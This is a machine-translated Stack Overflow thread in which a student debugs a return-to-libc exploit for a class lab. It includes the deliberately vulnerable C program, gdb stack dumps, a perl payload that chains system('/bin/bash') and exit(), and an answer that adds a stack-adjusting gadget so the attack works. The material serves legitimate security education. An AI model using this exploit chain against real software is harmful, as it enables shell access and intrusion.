【问题标题】:Writing a Return-to-libc attack, but cannot get it to work correctly?编写 Return-to-libc 攻击,但无法使其正常工作?
【发布时间】:2018-04-08 12:58:28
【问题描述】:

我需要对is_virus() 执行针对安全类的 libc 攻击返回。目标是溢出traffic[]并覆盖is_virus()的返回地址,使其返回libc函数system()打开一个shell。现在我已经在这上面花费了几个小时,但无法让它发挥作用。

#include <stdio.h>
#include <string.h>
#include <stdlib.h> 
#include <unistd.h>
#include <time.h>
#include <ctype.h>

char *signatures[] = {"sys_open_ports", "sys_module", "write_binaries", 
"sys_binaries"};

int is_virus(int argc, char ** argv)
{
    char traffic[44];
    int i, j, k, len;

    traffic[0] = 0;
    for (i = 1; i < argc; ++i)
            strcat(traffic, argv[i]);

    for (j = 0; j < 4; ++j) {
            len = strlen(signatures[j]);
            for (i = 0; i < (int)strlen(traffic); ++i)
                    if (strncmp(signatures[j], traffic+i, len) == 0)
                            return 1;
    }

    return 0;
}

int main(int argc, char ** argv)
{
    if (argc < 2) {
            system("echo 'usage: target3 network_traffic_packets'");
            exit(1);
    }

    if (is_virus(argc, argv))
            printf("Alarm! virus founded\n");
    else
            printf("safe.\n");

    return 0;
 }

现在我开始查找system()exit() 和字符串/bin/bash 的地址。

我发现这些是……

系统()= 0x40071584
退出() = 0x400533a4
"/bin/bash" = 0xbffffefb 这是在环境变量中找到的

现在根据我的理解,is_virus()的返回地址需要替换为system()的地址,然后是exit()的地址,然后是字符串/bin/bash的地址。接下来,我通过在gdb内部反汇编main,找到了is_virus()的返回地址。

...
0x804868b <main+43>:    pushl  0xc(%ebp)
0x804868e <main+46>:    pushl  0x8(%ebp)
0x8048691 <main+49>:    call   0x8048570 <is_virus>
0x8048696 <main+54>:    add    $0x10,%esp
0x8048699 <main+57>:    mov    %eax,%eax
...

所以is_virus()应该返回地址0x8048696。我用它来确定我需要多少填充。在堆栈指针后不久查看内存...

Breakpoint 1, is_virus (argc=2, argv=0xbffffb34) at target3.c:15
15              traffic[0] = 0;
(gdb) x/32xw $esp
0xbffffa60:     0xbffffaa0      0x4000d2b6      0x40016b34      0x40021298
0xbffffa70:     0x00000001      0x00000000      0x40021000      0x400212b8
0xbffffa80:     0xbffffac0      0x4000d2b6      0x08049840      0x080482cb
0xbffffa90:     0x4002d164      0x40158154      0x400168e4      0x4013d12e
0xbffffaa0:     0xbffffad8      0x4000d450      0xbffffac8      0x08048696
0xbffffab0:     0x00000002      0xbffffb34      0xbffffad8      0x08048551
0xbffffac0:     0x08049820      0x08049934      0xbffffb08      0x4003e507
0xbffffad0:     0x00000002      0xbffffb34      0xbffffb40      0x080483b2

我们可以看到返回地址是 0xbffffab2。现在玩传递 'A',我发现 60 个字节让我就在这个地址之前。

所以我用所有信息构建了输入

./target3 $(perl -e '打印 "AAAA"x15, "\x84\x15\x07\x40", "\xa4\x33\x05\x40", "\xfb\xfe\xff\xbf" ')

查看strcpy() 之后的数据看起来是正确的。

(gdb) x/32xw $esp
0xbffffa20:     0xbffffa60      0x4000d2b6      0x40016b34      0x00000001
0xbffffa30:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa40:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa50:     0x41414141      0x41414141      0x41414141      0x41414141
0xbffffa60:     0x41414141      0x41414141      0x41414141      0x40071584
0xbffffa70:     0x400533a4      0xbffffefb      0xbffffa00      0x08048551
0xbffffa80:     0x08049820      0x08049934      0xbffffac8      0x4003e507
0xbffffa90:     0x00000002      0xbffffaf4      0xbffffb00      0x080483b2

但问题是exit() 地址覆盖了argc 值的存储位置,并导致第一个循环多次执行并崩溃。我尝试将此值更改为 0xFFFFFFFF 并忘记了干净退出,但是当函数 is_virus() 尝试返回时,我收到错误

无法访问地址为 0xffffffff 的内存

任何帮助将不胜感激!

【问题讨论】:

  • 我不是安全专家。但是你能用你的参数将操作码写入call system 到缓冲区本身吗?然后覆盖返回地址以指向您的缓冲区。无操作幻灯片可能很有用——您不必猜测 exact 偏移量。这假设您可以从缓冲区执行代码。这可能行不通。
  • 虽然我承认我不知道如何使用 strcat 将 0 写入缓冲区。
  • 所有代码都存储在与堆栈不同的内存段中,缓冲区溢出只能修改堆栈空间。
  • Benjamin:MFisherKDX 的问题是,如果您可以将堆栈空间作为代码执行,那么您可以将有效负载存储在那里,但看起来堆栈地址每次运行都是随机的(两个不同的堆栈视图),真正的代码返回攻击不应该需要执行有效载荷本身,要运行的代码应该从实际的应用程序代码中挑选出来,所以答案可能是“不”堆栈执行。我的另一个问题是,这是否应该是简单的,比如只是调用函数的入口点,或者你应该反编译 libc 代码并实际从尾部构建真正的攻击......
  • @MFisherKDX 如果您可以执行堆栈内容,则不需要在有效负载中直接使用零字节,因为您可以通过有效负载中的代码轻松创建零并在执行早期覆盖自身,例如@ 987654344@mov [cs:eip-15],cljmp $-40(修改一些操作码,然后跳转到调整后的代码)。并且可以通过对有效负载进行编码的替代方式来避免操作码本身中的任何其他意外零。但是当堆栈为“no exec”时使用“返回”类型的攻击,因此您不能直接将代码放在那里,您只需准备链接“返回地址”执行应用程序的代码为您工作跨度>

标签: c assembly memory stack-overflow


【解决方案1】:

正如我在评论中指出的,第一个堆栈视图显示返回地址为0xbffffaac,而不是0xbffffab2。但这并不重要,因为您通过实验发现了正确的填充。顺便说一句,如果通过运行./target3 ABC 并在is_virus(...) 的第二个for 处设置断点可能有助于更多地针对您的攻击,因此您将确切地知道"ABC" 落在traffic 缓冲区的位置。

libc 中也没有 system() 这样的东西。它是int system(const char *cmd);(根据链接),exit()void exit(int exit_code);,至少把“...”放在括号里,这样读者就不必考虑它是否真的是 void 参数调用,或者只是缩写形式。

免责声明:此答案中的任何 asm 都是 Intel 语法,因为我不能打扰 AT&T,但由于答案不包含任何严肃的代码,它应该不重要,例如 add esp,12 vs addl $12,%esp 希望很容易理解。

所以要以模仿的方式“回到libc to system(...)”:

{
    system("/bin/bash");
    exit(<anything>);
}

你想把你试图放在那里的东西放在堆栈上:

0x40071584  ; system() address to return to
0x400533a4  ; exit() address as new return for system()
0xbffffefb  ; "/bin/bash" string (and "return" for exit())
<anything>  ; exit code for exit()

到目前为止,一切都很好。

如您所见,您的问题是 0x400533a4 exit() 地址充当新的 argc 值,破坏了第一个循环的运行。

那么像这样构建堆栈怎么样:

<magic>
<neg_value> ; any negative value to be used as new argc
0x40071584  ; system() address to return to
0x400533a4  ; exit() address as new return for system()
0xbffffefb  ; "/bin/bash" string (and "return" for exit())
<anything>  ; exit code for exit()

&lt;magic&gt; 是 libc 代码的地址,这将有效地做到:

add esp,4   ; or "pop anything"
ret

在我的机器上,将 libc 静态链接到您的示例 C 文件中,我可以在 system() 入口点附近看到此机器代码(无需费心搜索完全匹配):

<system()+0x27>:
    add esp,12
    movzx eax,al
    ret

在我看来“足够好”,可以被滥用。通过添加更多填充并从我的新返回地址开始,例如:

<system+0x27>  ; add esp,12 + ret
<neg_value> ; any negative value to be used as new argc
<junk1>     ; to make 12 bytes junk in stack
<junk2>     ; to make 12 bytes junk in stack
0x40071584  ; system() address to return to
0x400533a4  ; exit() address as new return for system()
0xbffffefb  ; "/bin/bash" string (and "return" for exit())
<anything>  ; exit code for exit()

我想我会实现你想要的调用序列(或者更确切地说是“ret 序列”:))。

没有验证,因为我无法以如此简单的方式编译原始 C 以使堆栈溢出工作 + 拥有静态 libc 地址,在我的主系统上它增加了很多麻烦 + 堆栈检查(其中我设法关闭了,但我仍然有完全不同的 libc 函数和堆栈地址,与您的值不相似)。

但我认为这是真正符合“返回”类型的攻击载荷构建性质的方法,因此它应该让您知道如何进一步进行。 GL,高频。 :)

【讨论】:

  • 在用英文写一个名为foo的函数时,写foo()是完全标准的。你的反对是愚蠢的,你写system(...)的建议也是愚蠢的。
  • @PeterCordes 问题是,它让我很困惑,首先想到了不存在的错误。起初我认为 OP 的堆栈设置不正确,因为它应该是 system, ptr "/bin/bash", exit (这将作为 argc 工作!)并且他放错了 system 参数。但是深入研究之后,我意识到自己的错误,答案的第一部分仍然存在,我没有重写它。也许很傻,但这就是我更喜欢的,对我来说,“void”与“some arguments”很重要,我不喜欢从记忆中回忆太多东西(即 libc 函数的参数)。
猜你喜欢
  • 1970-01-01
  • 1970-01-01
  • 2023-01-28
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 1970-01-01
  • 2014-04-06
  • 1970-01-01
相关资源
最近更新 更多